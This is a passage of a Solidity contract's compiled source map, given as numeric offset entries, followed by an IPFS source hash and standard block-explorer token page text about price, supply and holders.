0:81;10206:64;10263:6;10206:64;:::i;:::-;10190:81;:::i;:::-;10181:90;;10291:5;10320:6;10313:5;10306:21;10354:4;10347:5;10343:16;10336:23;;10407:4;10399:6;10395:17;10387:6;10383:30;10436:3;10428:6;10425:15;10422:122;;;10455:79;;:::i;:::-;10422:122;10570:6;10553:220;10587:6;10582:3;10579:15;10553:220;;;10662:3;10691:37;10724:3;10712:10;10691:37;:::i;:::-;10686:3;10679:50;10758:4;10753:3;10749:14;10742:21;;10629:144;10613:4;10608:3;10604:14;10597:21;;10553:220;;;10557:21;10171:608;;10069:710;;;;;:::o;10802:370::-;10873:5;10922:3;10915:4;10907:6;10903:17;10899:27;10889:122;;10930:79;;:::i;:::-;10889:122;11047:6;11034:20;11072:94;11162:3;11154:6;11147:4;11139:6;11135:17;11072:94;:::i;:::-;11063:103;;10879:293;10802:370;;;;:::o;11178:1541::-;11348:6;11356;11364;11372;11380;11429:3;11417:9;11408:7;11404:23;11400:33;11397:120;;;11436:79;;:::i;:::-;11397:120;11556:1;11581:53;11626:7;11617:6;11606:9;11602:22;11581:53;:::i;:::-;11571:63;;11527:117;11711:2;11700:9;11696:18;11683:32;11742:18;11734:6;11731:30;11728:117;;;11764:79;;:::i;:::-;11728:117;11869:78;11939:7;11930:6;11919:9;11915:22;11869:78;:::i;:::-;11859:88;;11654:303;12024:2;12013:9;12009:18;11996:32;12055:18;12047:6;12044:30;12041:117;;;12077:79;;:::i;:::-;12041:117;12182:78;12252:7;12243:6;12232:9;12228:22;12182:78;:::i;:::-;12172:88;;11967:303;12337:2;12326:9;12322:18;12309:32;12368:18;12360:6;12357:30;12354:117;;;12390:79;;:::i;:::-;12354:117;12495:78;12565:7;12556:6;12545:9;12541:22;12495:78;:::i;:::-;12485:88;;12280:303;12622:3;12649:53;12694:7;12685:6;12674:9;12670:22;12649:53;:::i;:::-;12639:63;;12593:119;11178:1541;;;;;;;;:::o;12725:117::-;12834:1;12831;12824:12;12865:568;12938:8;12948:6;12998:3;12991:4;12983:6;12979:17;12975:27;12965:122;;13006:79;;:::i;:::-;12965:122;13119:6;13106:20;13096:30;;13149:18;13141:6;13138:30;13135:117;;;13171:79;;:::i;:::-;13135:117;13285:4;13277:6;13273:17;13261:29;;13339:3;13331:4;13323:6;13319:17;13309:8;13305:32;13302:41;13299:128;;;13346:79;;:::i;:::-;13299:128;12865:568;;;;;:::o;13439:698::-;13531:6;13539;13547;13596:2;13584:9;13575:7;13571:23;13567:32;13564:119;;;13602:79;;:::i;:::-;13564:119;13750:1;13739:9;13735:17;13722:31;13780:18;13772:6;13769:30;13766:117;;;13802:79;;:::i;:::-;13766:117;13915:80;13987:7;13978:6;13967:9;13963:22;13915:80;:::i;:::-;13897:98;;;;13693:312;14044:2;14070:50;14112:7;14103:6;14092:9;14088:22;14070:50;:::i;:::-;14060:60;;14015:115;13439:698;;;;;:::o;14143:539::-;14227:6;14276:2;14264:9;14255:7;14251:23;14247:32;14244:119;;;14282:79;;:::i;:::-;14244:119;14430:1;14419:9;14415:17;14402:31;14460:18;14452:6;14449:30;14446:117;;;14482:79;;:::i;:::-;14446:117;14587:78;14657:7;14648:6;14637:9;14633:22;14587:78;:::i;:::-;14577:88;;14373:302;14143:539;;;;:::o;14688:474::-;14756:6;14764;14813:2;14801:9;14792:7;14788:23;14784:32;14781:119;;;14819:79;;:::i;:::-;14781:119;14939:1;14964:53;15009:7;15000:6;14989:9;14985:22;14964:53;:::i;:::-;14954:63;;14910:117;15066:2;15092:53;15137:7;15128:6;15117:9;15113:22;15092:53;:::i;:::-;15082:63;;15037:118;14688:474;;;;;:::o;15168:765::-;15254:6;15262;15270;15278;15327:3;15315:9;15306:7;15302:23;15298:33;15295:120;;;15334:79;;:::i;:::-;15295:120;15454:1;15479:53;15524:7;15515:6;15504:9;15500:22;15479:53;:::i;:::-;15469:63;;15425:117;15581:2;15607:53;15652:7;15643:6;15632:9;15628:22;15607:53;:::i;:::-;15597:63;;15552:118;15709:2;15735:53;15780:7;15771:6;15760:9;15756:22;15735:53;:::i;:::-;15725:63;;15680:118;15837:2;15863:53;15908:7;15899:6;15888:9;15884:22;15863:53;:::i;:::-;15853:63;;15808:118;15168:765;;;;;;;:::o;15939:182::-;16079:34;16075:1;16067:6;16063:14;16056:58;15939:182;:::o;16127:366::-;16269:3;16290:67;16354:2;16349:3;16290:67;:::i;:::-;16283:74;;16366:93;16455:3;16366:93;:::i;:::-;16484:2;16479:3;16475:12;16468:19;;16127:366;;;:::o;16499:419::-;16665:4;16703:2;16692:9;16688:18;16680:26;;16752:9;16746:4;16742:20;16738:1;16727:9;16723:17;16716:47;16780:131;16906:4;16780:131;:::i;:::-;16772:139;;16499:419;;;:::o;16924:225::-;17064:34;17060:1;17052:6;17048:14;17041:58;17133:8;17128:2;17120:6;17116:15;17109:33;16924:225;:::o;17155:366::-;17297:3;17318:67;17382:2;17377:3;17318:67;:::i;:::-;17311:74;;17394:93;17483:3;17394:93;:::i;:::-;17512:2;17507:3;17503:12;17496:19;;17155:366;;;:::o;17527:419::-;17693:4;17731:2;17720:9;17716:18;17708:26;;17780:9;17774:4;17770:20;17766:1;17755:9;17751:17;17744:47;17808:131;17934:4;17808:131;:::i;:::-;17800:139;;17527:419;;;:::o;17952:180::-;18000:77;17997:1;17990:88;18097:4;18094:1;18087:15;18121:4;18118:1;18111:15;18138:85;18183:7;18212:5;18201:16;;18138:85;;;:::o;18229:158::-;18287:9;18320:61;18338:42;18347:32;18373:5;18347:32;:::i;:::-;18338:42;:::i;:::-;18320:61;:::i;:::-;18307:74;;18229:158;;;:::o;18393:147::-;18488:45;18527:5;18488:45;:::i;:::-;18483:3;18476:58;18393:147;;:::o;18546:585::-;18739:4;18777:3;18766:9;18762:19;18754:27;;18791:71;18859:1;18848:9;18844:17;18835:6;18791:71;:::i;:::-;18872:80;18948:2;18937:9;18933:18;18924:6;18872:80;:::i;:::-;18962;19038:2;19027:9;19023:18;19014:6;18962:80;:::i;:::-;19052:72;19120:2;19109:9;19105:18;19096:6;19052:72;:::i;:::-;18546:585;;;;;;;:::o;19137:442::-;19286:4;19324:2;19313:9;19309:18;19301:26;;19337:71;19405:1;19394:9;19390:17;19381:6;19337:71;:::i;:::-;19418:72;19486:2;19475:9;19471:18;19462:6;19418:72;:::i;:::-;19500;19568:2;19557:9;19553:18;19544:6;19500:72;:::i;:::-;19137:442;;;;;;:::o;19585:137::-;19639:5;19670:6;19664:13;19655:22;;19686:30;19710:5;19686:30;:::i;:::-;19585:137;;;;:::o;19728:345::-;19795:6;19844:2;19832:9;19823:7;19819:23;19815:32;19812:119;;;19850:79;;:::i;:::-;19812:119;19970:1;19995:61;20048:7;20039:6;20028:9;20024:22;19995:61;:::i;:::-;19985:71;;19941:125;19728:345;;;;:::o;20079:180::-;20127:77;20124:1;20117:88;20224:4;20221:1;20214:15;20248:4;20245:1;20238:15;20265:233;20304:3;20327:24;20345:5;20327:24;:::i;:::-;20318:33;;20373:66;20366:5;20363:77;20360:103;;20443:18;;:::i;:::-;20360:103;20490:1;20483:5;20479:13;20472:20;;20265:233;;;:::o;20504:191::-;20544:3;20563:20;20581:1;20563:20;:::i;:::-;20558:25;;20597:20;20615:1;20597:20;:::i;:::-;20592:25;;20640:1;20637;20633:9;20626:16;;20661:3;20658:1;20655:10;20652:36;;;20668:18;;:::i;:::-;20652:36;20504:191;;;;:::o;20701:223::-;20841:34;20837:1;20829:6;20825:14;20818:58;20910:6;20905:2;20897:6;20893:15;20886:31;20701:223;:::o;20930:366::-;21072:3;21093:67;21157:2;21152:3;21093:67;:::i;:::-;21086:74;;21169:93;21258:3;21169:93;:::i;:::-;21287:2;21282:3;21278:12;21271:19;;20930:366;;;:::o;21302:419::-;21468:4;21506:2;21495:9;21491:18;21483:26;;21555:9;21549:4;21545:20;21541:1;21530:9;21526:17;21519:47;21583:131;21709:4;21583:131;:::i;:::-;21575:139;;21302:419;;;:::o;21727:221::-;21867:34;21863:1;21855:6;21851:14;21844:58;21936:4;21931:2;21923:6;21919:15;21912:29;21727:221;:::o;21954:366::-;22096:3;22117:67;22181:2;22176:3;22117:67;:::i;:::-;22110:74;;22193:93;22282:3;22193:93;:::i;:::-;22311:2;22306:3;22302:12;22295:19;;21954:366;;;:::o;22326:419::-;22492:4;22530:2;22519:9;22515:18;22507:26;;22579:9;22573:4;22569:20;22565:1;22554:9;22550:17;22543:47;22607:131;22733:4;22607:131;:::i;:::-;22599:139;;22326:419;;;:::o;22751:224::-;22891:34;22887:1;22879:6;22875:14;22868:58;22960:7;22955:2;22947:6;22943:15;22936:32;22751:224;:::o;22981:366::-;23123:3;23144:67;23208:2;23203:3;23144:67;:::i;:::-;23137:74;;23220:93;23309:3;23220:93;:::i;:::-;23338:2;23333:3;23329:12;23322:19;;22981:366;;;:::o;23353:419::-;23519:4;23557:2;23546:9;23542:18;23534:26;;23606:9;23600:4;23596:20;23592:1;23581:9;23577:17;23570:47;23634:131;23760:4;23634:131;:::i;:::-;23626:139;;23353:419;;;:::o;23778:222::-;23918:34;23914:1;23906:6;23902:14;23895:58;23987:5;23982:2;23974:6;23970:15;23963:30;23778:222;:::o;24006:366::-;24148:3;24169:67;24233:2;24228:3;24169:67;:::i;:::-;24162:74;;24245:93;24334:3;24245:93;:::i;:::-;24363:2;24358:3;24354:12;24347:19;;24006:366;;;:::o;24378:419::-;24544:4;24582:2;24571:9;24567:18;24559:26;;24631:9;24625:4;24621:20;24617:1;24606:9;24602:17;24595:47;24659:131;24785:4;24659:131;:::i;:::-;24651:139;;24378:419;;;:::o;24803:228::-;24943:34;24939:1;24931:6;24927:14;24920:58;25012:11;25007:2;24999:6;24995:15;24988:36;24803:228;:::o;25037:366::-;25179:3;25200:67;25264:2;25259:3;25200:67;:::i;:::-;25193:74;;25276:93;25365:3;25276:93;:::i;:::-;25394:2;25389:3;25385:12;25378:19;;25037:366;;;:::o;25409:419::-;25575:4;25613:2;25602:9;25598:18;25590:26;;25662:9;25656:4;25652:20;25648:1;25637:9;25633:17;25626:47;25690:131;25816:4;25690:131;:::i;:::-;25682:139;;25409:419;;;:::o;25834:250::-;25974:34;25970:1;25962:6;25958:14;25951:58;26043:33;26038:2;26030:6;26026:15;26019:58;25834:250;:::o;26090:366::-;26232:3;26253:67;26317:2;26312:3;26253:67;:::i;:::-;26246:74;;26329:93;26418:3;26329:93;:::i;:::-;26447:2;26442:3;26438:12;26431:19;;26090:366;;;:::o;26462:419::-;26628:4;26666:2;26655:9;26651:18;26643:26;;26715:9;26709:4;26705:20;26701:1;26690:9;26686:17;26679:47;26743:131;26869:4;26743:131;:::i;:::-;26735:139;;26462:419;;;:::o;26887:178::-;27027:30;27023:1;27015:6;27011:14;27004:54;26887:178;:::o;27071:366::-;27213:3;27234:67;27298:2;27293:3;27234:67;:::i;:::-;27227:74;;27310:93;27399:3;27310:93;:::i;:::-;27428:2;27423:3;27419:12;27412:19;;27071:366;;;:::o;27443:419::-;27609:4;27647:2;27636:9;27632:18;27624:26;;27696:9;27690:4;27686:20;27682:1;27671:9;27667:17;27660:47;27724:131;27850:4;27724:131;:::i;:::-;27716:139;;27443:419;;;:::o;27868:222::-;28008:34;28004:1;27996:6;27992:14;27985:58;28077:5;28072:2;28064:6;28060:15;28053:30;27868:222;:::o;28096:366::-;28238:3;28259:67;28323:2;28318:3;28259:67;:::i;:::-;28252:74;;28335:93;28424:3;28335:93;:::i;:::-;28453:2;28448:3;28444:12;28437:19;;28096:366;;;:::o;28468:419::-;28634:4;28672:2;28661:9;28657:18;28649:26;;28721:9;28715:4;28711:20;28707:1;28696:9;28692:17;28685:47;28749:131;28875:4;28749:131;:::i;:::-;28741:139;;28468:419;;;:::o;28893:222::-;29033:34;29029:1;29021:6;29017:14;29010:58;29102:5;29097:2;29089:6;29085:15;29078:30;28893:222;:::o;29121:366::-;29263:3;29284:67;29348:2;29343:3;29284:67;:::i;:::-;29277:74;;29360:93;29449:3;29360:93;:::i;:::-;29478:2;29473:3;29469:12;29462:19;;29121:366;;;:::o;29493:419::-;29659:4;29697:2;29686:9;29682:18;29674:26;;29746:9;29740:4;29736:20;29732:1;29721:9;29717:17;29710:47;29774:131;29900:4;29774:131;:::i;:::-;29766:139;;29493:419;;;:::o;29918:194::-;29958:4;29978:20;29996:1;29978:20;:::i;:::-;29973:25;;30012:20;30030:1;30012:20;:::i;:::-;30007:25;;30056:1;30053;30049:9;30041:17;;30080:1;30074:4;30071:11;30068:37;;;30085:18;;:::i;:::-;30068:37;29918:194;;;;:::o;30118:229::-;30258:34;30254:1;30246:6;30242:14;30235:58;30327:12;30322:2;30314:6;30310:15;30303:37;30118:229;:::o;30353:366::-;30495:3;30516:67;30580:2;30575:3;30516:67;:::i;:::-;30509:74;;30592:93;30681:3;30592:93;:::i;:::-;30710:2;30705:3;30701:12;30694:19;;30353:366;;;:::o;30725:419::-;30891:4;30929:2;30918:9;30914:18;30906:26;;30978:9;30972:4;30968:20;30964:1;30953:9;30949:17;30942:47;31006:131;31132:4;31006:131;:::i;:::-;30998:139;;30725:419;;;:::o;31150:143::-;31207:5;31238:6;31232:13;31223:22;;31254:33;31281:5;31254:33;:::i;:::-;31150:143;;;;:::o;31299:351::-;31369:6;31418:2;31406:9;31397:7;31393:23;31389:32;31386:119;;;31424:79;;:::i;:::-;31386:119;31544:1;31569:64;31625:7;31616:6;31605:9;31601:22;31569:64;:::i;:::-;31559:74;;31515:128;31299:351;;;;:::o;31656:114::-;31723:6;31757:5;31751:12;31741:22;;31656:114;;;:::o;31776:184::-;31875:11;31909:6;31904:3;31897:19;31949:4;31944:3;31940:14;31925:29;;31776:184;;;;:::o;31966:132::-;32033:4;32056:3;32048:11;;32086:4;32081:3;32077:14;32069:22;;31966:132;;;:::o;32104:108::-;32181:24;32199:5;32181:24;:::i;:::-;32176:3;32169:37;32104:108;;:::o;32218:179::-;32287:10;32308:46;32350:3;32342:6;32308:46;:::i;:::-;32386:4;32381:3;32377:14;32363:28;;32218:179;;;;:::o;32403:113::-;32473:4;32505;32500:3;32496:14;32488:22;;32403:113;;;:::o;32552:732::-;32671:3;32700:54;32748:5;32700:54;:::i;:::-;32770:86;32849:6;32844:3;32770:86;:::i;:::-;32763:93;;32880:56;32930:5;32880:56;:::i;:::-;32959:7;32990:1;32975:284;33000:6;32997:1;32994:13;32975:284;;;33076:6;33070:13;33103:63;33162:3;33147:13;33103:63;:::i;:::-;33096:70;;33189:60;33242:6;33189:60;:::i;:::-;33179:70;;33035:224;33022:1;33019;33015:9;33010:14;;32975:284;;;32979:14;33275:3;33268:10;;32676:608;;;32552:732;;;;:::o;33290:831::-;33553:4;33591:3;33580:9;33576:19;33568:27;;33605:71;33673:1;33662:9;33658:17;33649:6;33605:71;:::i;:::-;33686:80;33762:2;33751:9;33747:18;33738:6;33686:80;:::i;:::-;33813:9;33807:4;33803:20;33798:2;33787:9;33783:18;33776:48;33841:108;33944:4;33935:6;33841:108;:::i;:::-;33833:116;;33959:72;34027:2;34016:9;34012:18;34003:6;33959:72;:::i;:::-;34041:73;34109:3;34098:9;34094:19;34085:6;34041:73;:::i;:::-;33290:831;;;;;;;;:::o;34127:180::-;34175:77;34172:1;34165:88;34272:4;34269:1;34262:15;34296:4;34293:1;34286:15;34313:185;34353:1;34370:20;34388:1;34370:20;:::i;:::-;34365:25;;34404:20;34422:1;34404:20;:::i;:::-;34399:25;;34443:1;34433:35;;34448:18;;:::i;:::-;34433:35;34490:1;34487;34483:9;34478:14;;34313:185;;;;:::o;34504:177::-;34644:29;34640:1;34632:6;34628:14;34621:53;34504:177;:::o;34687:366::-;34829:3;34850:67;34914:2;34909:3;34850:67;:::i;:::-;34843:74;;34926:93;35015:3;34926:93;:::i;:::-;35044:2;35039:3;35035:12;35028:19;;34687:366;;;:::o;35059:419::-;35225:4;35263:2;35252:9;35248:18;35240:26;;35312:9;35306:4;35302:20;35298:1;35287:9;35283:17;35276:47;35340:131;35466:4;35340:131;:::i;:::-;35332:139;;35059:419;;;:::o;35484:410::-;35524:7;35547:20;35565:1;35547:20;:::i;:::-;35542:25;;35581:20;35599:1;35581:20;:::i;:::-;35576:25;;35636:1;35633;35629:9;35658:30;35676:11;35658:30;:::i;:::-;35647:41;;35837:1;35828:7;35824:15;35821:1;35818:22;35798:1;35791:9;35771:83;35748:139;;35867:18;;:::i;:::-;35748:139;35532:362;35484:410;;;;:::o;35900:220::-;36040:34;36036:1;36028:6;36024:14;36017:58;36109:3;36104:2;36096:6;36092:15;36085:28;35900:220;:::o;36126:366::-;36268:3;36289:67;36353:2;36348:3;36289:67;:::i;:::-;36282:74;;36365:93;36454:3;36365:93;:::i;:::-;36483:2;36478:3;36474:12;36467:19;;36126:366;;;:::o;36498:419::-;36664:4;36702:2;36691:9;36687:18;36679:26;;36751:9;36745:4;36741:20;36737:1;36726:9;36722:17;36715:47;36779:131;36905:4;36779:131;:::i;:::-;36771:139;;36498:419;;;:::o

Swarm Source

ipfs://ddc5e160a08bd6771812152751b93395a95f0f6a2bde79b2025e0e8d653563ef
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.